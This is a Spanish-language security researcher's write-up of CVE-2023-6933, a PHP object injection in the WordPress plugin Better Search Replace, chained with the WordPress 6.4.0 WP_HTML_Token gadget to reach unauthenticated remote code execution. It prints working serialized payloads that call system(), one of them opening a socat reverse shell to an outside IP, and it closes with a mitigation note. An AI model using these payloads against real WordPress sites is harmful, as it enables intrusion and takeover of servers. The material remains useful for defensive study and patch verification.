
Introducción a la vulnerabilidad CVE-2023-6933
El plugin "Better Search Replace" para WordPress presenta una vulnerabilidad crítica conocida como Inyección de Objetos PHP (PHP Object Injection). Esta falla de seguridad está presente en todas las versiones hasta la 1.4.4 inclusive. Surge de la deserialización de entradas no confiables, lo que permite a atacantes no autenticados inyectar un Objeto PHP en el sistema. Cabe destacar que el plugin en sí mismo no contiene una cadena de Inyección de Objetos PHP (POI). Sin embargo, si hay instalado en el sistema objetivo otro plugin o tema vulnerable que sí incluya una cadena POI, esta vulnerabilidad podría permitir a los atacantes eliminar archivos arbitrarios, acceder a datos sensibles o ejecutar código malicioso.
En este análisis, también cubriremos la vulnerabilidad en la versión 6.4.0 de WordPress, que fue abordada para corregir un problema de Ejecución Remota de Código (RCE). Además, exploraremos la posibilidad de encadenar estas dos vulnerabilidades para lograr la ejecución remota de código sin autenticación.
Para averiguar la versión estable actual del plugin Better Search Replace, utilice el siguiente comando:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
En primer lugar, preparé tres contenedores Docker para el análisis:
Para obtener una comprensión más profunda de la vulnerabilidad, comencé a analizar commits específicos en el repositorio de GitHub del plugin "Better Search Replace". Estos commits potencialmente contienen información crucial sobre la naturaleza y las correcciones de la vulnerabilidad.

En esta función, podemos observar los siguientes parámetros:
from: Este es el texto que se va a reemplazar.to: Este representa el texto de reemplazo.data: Estos son los datos que necesitan ser reemplazados.Es importante señalar aquí que los datos se pasan directamente a la función $this->unserialize($data).

Por lo tanto, aquí podemos ver que la cadena será deserializada.
Para determinar dónde es factible inyectar un objeto serializado en data, exploraremos la interfaz visual del plugin.

Por lo tanto, podemos colocar un objeto serializado en una de estas tablas, pero necesitamos un objeto serializado vulnerable para poder lograr la Ejecución Remota de Código (RCE).
En la versión 6.4.0 de WordPress, se introdujo un objeto PHP, WP_HTML_Token. A continuación se muestra un desglose de su estructura y su potencial de explotación:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
La función call_user_func dentro del método __destruct es clave para la explotación. Requiere:
$this->on_destroy: Una función invocable (callable).
$this->bookmark_name: Un argumento para la función invocable.
Para explotar esto, intenté añadir las siguientes líneas al final de main.php (nota: comente la línea de call_user_func antes de la serialización):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Ahora, es factible probar la teoría añadiendo un comentario no autenticado en el sitio web.

Es hora de utilizar el plugin para activar la función de deserialización.

El archivo se creó como se esperaba, por lo que el RCE durante la deserialización y durante la destrucción del objeto funciona correctamente.

Persistencia de los comentarios eliminados: Incluso si un comentario se elimina, permanece en la base de datos etiquetado como 'no mostrado al usuario'. Sin embargo, el plugin no distingue entre comentarios visibles e invisibles y procede a deserializar el objeto de todos modos.
Deserialización durante una ejecución de prueba (dry run): El proceso de deserialización ocurre incluso durante una ejecución de prueba (dry run), lo que representa un descuido significativo en términos de seguridad.
Evaluación inicial: La categorización realizada por Wordfence del Sistema Común de Puntuación de Vulnerabilidades (CVSS) parece ser errónea. En mi opinión, debería puntuarse como 8.8.
Evaluación revisada: La puntuación CVSS actual es 9.8. Sin embargo, esta calificación pasa por alto el hecho de que "se requiere interacción del usuario en la tabla correcta" para que ocurra la deserialización del código. Para confirmar esto, contacté al investigador Sam Pizzey, quien corroboró mi observación: la ejecución de la vulnerabilidad requiere que alguien interactúe con el plugin.
Para aquellos interesados en técnicas de reverse shell, he adaptado mi payload para agilizar este proceso. Esto podría aplicarse a sitios web donde el registro está abierto a todos:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Insertando el objeto PHP en el perfil

Luego abrí un listener para esperar la conexión entrante.


Finalmente, recibí con éxito la conexión de reverse shell.

Este documento proporciona una visión detallada de la vulnerabilidad CVE-2023-6933, incluyendo su impacto, detalles técnicos y estrategias de mitigación. Comprender y abordar esta vulnerabilidad es crucial para mantener la seguridad e integridad de las instalaciones de WordPress que utilizan el plugin 'Better Search Replace'.
Para abordar la vulnerabilidad, actualice a una versión superior a Better Search Replace 1.4.4 y realice sus actualizaciones de WordPress.
Autor: Maxime Paillé
GitHub: w2xim3
LinkedIn: Perfil de LinkedIn